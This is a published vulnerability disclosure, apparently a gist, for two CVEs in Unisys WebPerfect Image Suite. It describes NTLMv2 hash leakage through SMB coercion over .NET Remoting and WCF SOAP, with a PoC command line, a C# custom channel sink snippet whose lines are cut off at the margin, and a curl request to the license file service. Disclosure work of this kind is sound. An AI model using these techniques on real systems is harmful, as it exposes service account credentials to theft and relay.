VAMorales / **Unisys-WebPerfect Image Suite-CVE-2026-39906-CVE-2026-39907.md**

Created 3 hours ago

Code Revisions 1

Unisys - WebPerfect Image Suite - CVE-2026-39906 / CVE-2026-39907

`Unisys-WebPerfect Image Suite-CVE-2026-39906-CVE-2026-39907.md`

Exploit Title: Unisys - WebPerfect Image Suite NTLMv2 Hash Leakage via .NET Remoting

Disclosure Date: 4/23/2026

CVE ID: CVE-2026-39906

Exploit Authors: Victor A. Morales of GM Sectec, Corp.

Vendor Homepage: https://www.unisys.com/solutions/cai/applications/

Known Affected Versions: 3.0.3960.22810, 3.0.3960.22604

Description

Deprecated .NET Remoting technology on an ephemeral network reachable port is used by the program **Unisys.SOA.PerfectImageService.exe**. Modifying the PoC of Code-White's RemotingClient_MBVO.exe program to implement a custom channel sink to redirect .NET Remoting traffic to the correct host, it was determined that the System.Media.SoundPlayer class technique allows SMB coercion by supplying a remote UNC path to leak the NTLMv2 hash of the account running the service.

PoC

```
.\RemotingClient_MBVO.exe tcp://<TARGET_IP>:<EPHEMERAL_PORT>/Interfaces.rem \
```

Snippet of the custom channel fix code:

```
public class CustomClientChannelSinkProvider : IClientChannelSinkProvider
    {
        IClientChannelSinkProvider _next;
        public CustomClientChannelSinkProvider() { }

        public IClientChannelSinkProvider Next { get => _next; set => _next =

        public IClientChannelSink CreateSink(IChannelSender channel, string u
        {
            IClientChannelSink clientChannelSink = null;
            if (this.Next != null)
            {
                clientChannelSink = this.Next.CreateSink(channel, url, remote
                if (clientChannelSink == null)
                {
                    return null;
                }
            }
            return new CustomBinaryClientFormatterSink(clientChannelSink);
        }
    }

    public class CustomBinaryClientFormatterSink : IClientFormatterSink
    {
        private readonly IClientChannelSink _nextSink;

        public CustomBinaryClientFormatterSink(IClientChannelSink nextSink)
        {
            this._nextSink = nextSink;
        }

        public IMessageSink NextSink => null;
```

```
        public IClientChannelSink NextChannelSink => _nextSink;
        public IDictionary Properties => null;

        public IMessageCtrl AsyncProcessMessage(IMessage msg, IMessageSink re
        {
            throw new NotImplementedException();
        }

        public void AsyncProcessRequest(IClientChannelSinkStack sinkStack, IM
        {
            throw new NotImplementedException();
        }

        public void AsyncProcessResponse(IClientResponseChannelSinkStack sink
        {
            throw new NotImplementedException();
        }

        public Stream GetRequestStream(IMessage msg, ITransportHeaders header
        {
            throw new NotImplementedException();
        }

        public void ProcessMessage(IMessage msg, ITransportHeaders requestHea
        {
            throw new NotImplementedException();
        }

        public IMessage SyncProcessMessage(IMessage msg)
        {
            IMethodCallMessage mcm = msg as IMethodCallMessage;
            IMessage result;
            try
            {
                ITransportHeaders requestHeaders;
                Stream requestStream;
                this.SerializeMessage(msg, out requestHeaders, out requestStr
                ITransportHeaders transportHeaders;
                Stream stream;
                this._nextSink.ProcessMessage(msg, requestHeaders, requestStr
                if (transportHeaders == null)
                {
                    throw new ArgumentNullException("returnHeaders");
                }
                result = this.DeserializeMessage(mcm, transportHeaders, strea
            }
            catch (Exception e)
            {
                result = new ReturnMessage(e, mcm);
```

```
            }
            return result;
        }
```

Exploit Title: Unisys - WebPerfect Image Suite NTLMv2 Hash Leakage via WCF SOAP

Disclosure Date: 4/23/2026

CVE ID: CVE-2026-39907

Exploit Authors: Victor A. Morales of GM Sectec, Corp.

Vendor Homepage: https://www.unisys.com/solutions/cai/applications/

Known Affected Versions: 3.0.3960.22810, 3.0.3960.22604

Description

WCF SOAP technology is used by the dependency file PILicFileService.dll. The OpenLicenseFile function inside the LicenseFilePar class is called and ends up in a code path that searches for the user provided location inside the file system with the File.Exists function, having no prior input sanitization. By supplying a UNC path, this forces the server to search outside of the internal file system, attempts to reach the file from a remote share and leaks the NTLMv2 hash of the account running the service. When a valid system file path is specified in the LFName field, for example the default C:\Windows\win.ini file using a path traversal sequence, the program attempts to read the file and decrypt it, however since an invalid license file is specified, the program throws an error “8 CANNOT READ FILE”. This confirms existance of internal files present in the system, however the impact is not as severe, as its contents are never displayed.

PoC

```
curl -X POST "http://<TARGET_IP>:1208/Unisys.SOAVision.PiLicFileService/Servi
```